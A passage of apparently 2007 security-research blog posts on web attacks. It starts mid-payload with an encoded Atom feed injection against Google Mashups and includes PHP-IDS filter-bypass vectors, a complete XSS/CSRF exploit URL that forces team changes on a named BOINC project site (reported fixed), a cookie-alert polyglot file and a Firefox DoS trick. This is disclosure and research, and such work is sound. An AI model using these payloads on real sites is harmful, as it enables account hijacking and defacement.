%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%68%6f%74%6f%73%2f%65%78%69%66%2f%32%30%30%37%3d%65%78%69%66%22%20%78%6d%6c%6e%73%3a%67%6d%73%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6d%73%2f%32%30%30%37%22%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%35%2f%41%74%6f%6d%22%3e%0d%0a%3c%69%64%3e%68%74%74%70%3a%2f%2f%67%61%6c%6c%65%72%79%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%3c%2f%69%64%3e%0d%0a%3c%70%75%62%6c%69%73%68%65%64%3e%32%30%30%37%2d%30%39%2d%30%38%54%30%30%3a%31%39%3a%34%38%2e%36%32%35%5a%3c%2f%70%75%62%6c%69%73%68%65%64%3e%0d%0a%3c%75%70%64%61%74%65%64%3e%32%30%30%37%2d%30%39%2d%30%38%54%30%30%3a%31%39%3a%34%38%2e%36%32%35%5a%3c%2f%75%70%64%61%74%65%64%3e%0d%0a%3c%74%69%74%6c%65%20%74%79%70%65%3d%22%74%65%78%74%22%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%21%21%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%6f%6e%74%65%6e%74%20%74%79%70%65%3d%22%74%65%78%74%22%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%21%3c%2f%63%6f%6e%74%65%6e%74%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%73%65%6c%66%22%20%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%61%74%6f%6d%20%78%6d%6c%22%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%2e%31%2e%74%65%73%74%2d%63%32%62%61%34%61%39%39%36%35%35%36%39%31%65%61%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%22%2f%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%65%64%69%74%22%20%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%61%74%6f%6d%20%78%6d%6c%22%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%2e%31%2e%74%65%73%74%2d%63%32%62%61%34%61%39%39%36%35%35%36%39%31%65%61%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%2f%30%22%2f%3e%0d%0a%3c%67%64%3a%61%70%70%4c%69%6e%6b%3e%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%47%6f%6f%67%6c%65%4d%61%73%68%75%70%73%20%64%65%73%69%67%6e%20%65%72%72%6f%72%3f%27%29%3b%3c%2f%67%64%3a%61%70%70%4c%69%6e%6b%3e%0d%0a%3c%67%64%3a%69%6d%67%55%52%4c%3e%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%47%6f%6f%67%6c%65%4d%61%73%68%75%70%73%20%64%65%73%69%67%6e%20%65%72%72%6f%72%3f%27%29%3b%3c%2f%67%64%3a%69%6d%67%55%52%4c%3e%0d%0a%3c%67%6d%64%3a%61%75%74%68%6f%72%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%3c%2f%67%6d%64%3a%61%75%74%68%6f%72%3e%0d%0a%3c%2f%61%74%6f%6d%3a%65%6e%74%72%79%3e"));
onreadystatechange=function(){
if(readyState==4){
alert(responseText);
}
}
}

you can get the X-Gm-Validate token, by sniffing your connection, the modification of the feeds, doesnt require validation of any type.

Well, that's the first part..
with this information you can modify the content of any item on the feed, but that's not all.
the information passed are not validated at all! so by means of..
link=blah">XSS

I could do a persistent XSS attack, this could completely destroy the project, make a deface or anything.

If you need me to explain further please tell me.

---

Well, actually there's also another XSS vulnerability in some other services, anyway, they are on their way of fixing them.. so I won't disclose them here (yet).

Allowing debug in a javascript library

Hi, some days ago I watched John Resig Tech Talk, about building a JavaScript library, where he pointed out some "good habits", when programming, and when doing js libraries, pretty interesting.

Any way, he mentioned that we shouldn't use try&catch because the coder "cant" debug his code, because we trap the error, and he is never able to see it.. so, I thought that an interesting way of letting the "error pass", but still have controll of the library is using setTimeout, to let the code run asynchronously.

The code I submitted to his blog, is:

setTimeout(function(){/*code here*/},0);

So, the error is reported to the user, and we dont loose the control of the code..

Some time after that I thought that, it could also be used for letting code runing in memory.. (but it's cancelled as soon as you leave the website).

Any way, as a programmer, I see this as a technique for running more than 1 process at one, as a security researcher, I see this as a technique for running XSS payloads in a more sigilous way.

7 minutes to kill a monster.

Well, a response time of 1 week, is said to be good, Mozilla has 10 f***ing days, Google depending on the complexity of the vulnerability takes between 1 day to a few weeks to fix them, but Mario Heiderich, developer of the PHP-IDS, has an amazing 7 minutes time to pull a patch for a vuln.

A week ago, he talked me about a "call for hacking" to PHP-IDS, and I said it would be really difficult, because the last time, the filters where extremely enforced, so I started playing (before the call for hacking was published), and in an hour I found 3 vectors, and made a PoC, of 666 bytes (that's why it's a monster xD), 2 of them where based on Giorgio Maone window.name vector.

So, I asked Mario, if I have to wait until the call for hacking was published, but he pulled the patch immediatelly.

A few minutes later, I found another HTML vector ("style="anything), that was fixed too.

So he decided to interview me, as a price for winning an unstarted contest :P.

The vectors where:

• open(name)

• eval(name)

• (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)

I'm sure that Gareth Heyes, and Giorgio Maone will be the next to find some vectors :)

SHA-1 Collision Search Graz XSS and CSRF

A couple of days ago, at elhacker.net, they showed a project, for finding SHA-1 collisions.
After I registered, I found out that there was a "competition" of teams, for winning credits.
http://boinc.iaik.tugraz.at/sha1_coll_search/top_teams.php

So, after checking out how it worked, I found a CSRF, and XSS at the team search engine.

So, I made a simple exploit, that will change your team to.. BOINC Confederation.

The XSS vuln, is here:
http://boinc.iaik.tugraz.at/team_lookup.php?team_name=XSS&search=Search

The CSRF vuln is in all forms..

The exploit (for firefox) is:
http://boinc.iaik.tugraz.at/team_lookup.php?team_name=%3Cscript%3Ewith(new%20XMLHttpRequest()){open(%22GET%22,%22http://boinc.iaik.tugraz.at/team_quit_form.php%22,false);send(null);x=responseText.match(/id%20value=([0-9]*)/)[1];open(%22POST%22,%22http://boinc.iaik.tugraz.at/team_quit_action.php%22,false);setRequestHeader(%22Content-Type%22,%22application/x-www-form-urlencoded%22);send(%22id=%22%2Bx);open(%22POST%22,%22http://boinc.iaik.tugraz.at/team_join_action.php%22,false);setRequestHeader(%22Content-Type%22,%22application/x-www-form-urlencoded%22);send(%22teamid=1%22);}%3C/script%3E&search=Search

Pretty simple :P

So, by "stealing" a user of an important team.. you can make your team win, the list of the top users is here:
http://boinc.iaik.tugraz.at/top_users.php

Greetz!!

--EDIT--
The bug has been fixed :) is good to see that someone actually reads my blog xD

JavaScript is just evil (for you) [ Part I ]

This is the first of 3 parts of the document entitled: "JavaScript is just evil".

Here are the first 2 chapters.

1.- DoSing the browser

You wont learn anything new in this first chapter, is just a set of examples.

2.- Injecting code and tracing stack

Here we will see some attack vectors for chrome privilege escalation.



In them will demonstrate by several code examples, how JavaScript can be used for evil uses.

This started a while ago, when, while chatting with Giorgio Maone, and showing him an example that crashed Firefox (using intervals), he said as response.. "there's nothing we can do, javascript is just evil"..

The phrase "javascript is just evil" captivated me in such a way, that I started thinking in which ways javascript could be used for evil.

Now, I divided the document in 3 sections, and them divided into 5 chapters.

JavaScript is just evil (for you).



1. DoSing the browser


2. Injecting code and tracing stack



JavaScript is just evil (for your server).



3. XSS Worms


4. DOM Level XSS



JavaScript is just evil (for your local files).



5. Local Files Privileges and HTA's

I hope you like them!

Morfi! the Human readable+HTML+JavaScript file all in one..

Here I present a file that will appear different depending on which application you open it.
As plain text, it will describe how it works, as HTML, it will define XSS, and as JavaScript
it will pop up a simple alert(document.cookie+window.location); XSS PoC.

Opened as plain text (just reading the words in the code):

This HTML file is a PoC on how complex the HTML and JavaScript code can get and
here, with the use of style and changing the visibility to hidden on some non
style elements, we will hide and show some parts of js code and HTML, we will also make
Function and a javascript alert that shows a document cookie and the window location, a
script that takes as src the same file, and executes the code inside the script
and a HTML file that is also XML valid, and will define XSS.

Opened as JavaScript:

alert(document.cookie+window.location);

Opened as HTML in Firefox:

this, "the attack based on accessing and modifying a webpage in the context of other domain" is the function of XSS attacks.

It will also show an alert, produced by including itself as a javascript script.

http://www.sirdarckcat.net/morfi.html

This was submitted for The Month of Hacker Folklore at GNUCITIZEN.

Google teachs security basics

It's rather simple.. and it deals with vulns at the "server level" (no sqli, rfi, xss, etc..) anyway..

http://code.google.com/edu/content/submissions/web_security/listing.html

Lectures

• Web Security Lecture #1
• Web Security Lecture #2

Coding Projects

• Programming Problem Set

It has 2 slide shows and 1 problem set.

Thanks to crack_x for showing me the code.google.com/edu site.

Discuss here: http://sla.ckers.org/forum/read.php?13,14409

DoSing Firefox with Error Consoles

3 days ago, I found out that there was a way of Popping up the Firefox JavaScript Error Console, by doing:

<iframe src="javascript:"></iframe>

I was testing what could I do to exploit it, (like trying to execute some code in the chrome:// context), but I wasn't able..

This was 1 of my failed attacks.. to steal chrome context:

throw new function(){
this.toString=this.valueOf=function(){
alert(location);
return "<script>alert(location);</script>";
}
}


For the ones that doesn't know this, throw will "throw" an error exception.. :P

Any way, then while playing with the multiple consoles I had, I realized that if for example, you click "clear" on one console, all the consoles will clear the error messages.. so maybe, the memory allocated at the time of showing errors, won't be checked as well..

I made a PoC of a memory exhaustion exploit at firefox (It's a DoS exploit, You Have been Warned), which I talked about with Giorgio Maone, and it appears that this was just a Denial of Service attack (that I think depends on the amount of RAM the victim has, for example RSnake just suffered a temporal freezing of the browser, and after closing the error consoles, everything went back to normal), ma1 told me to file it anyway to bugzilla, (thing that I did today), but I don't know for sure if a memory exhaustion bug, will be considered a real bug at Mozilla.. anyway, NoScript users are already invulnerable to this attack (since yesterday, I think).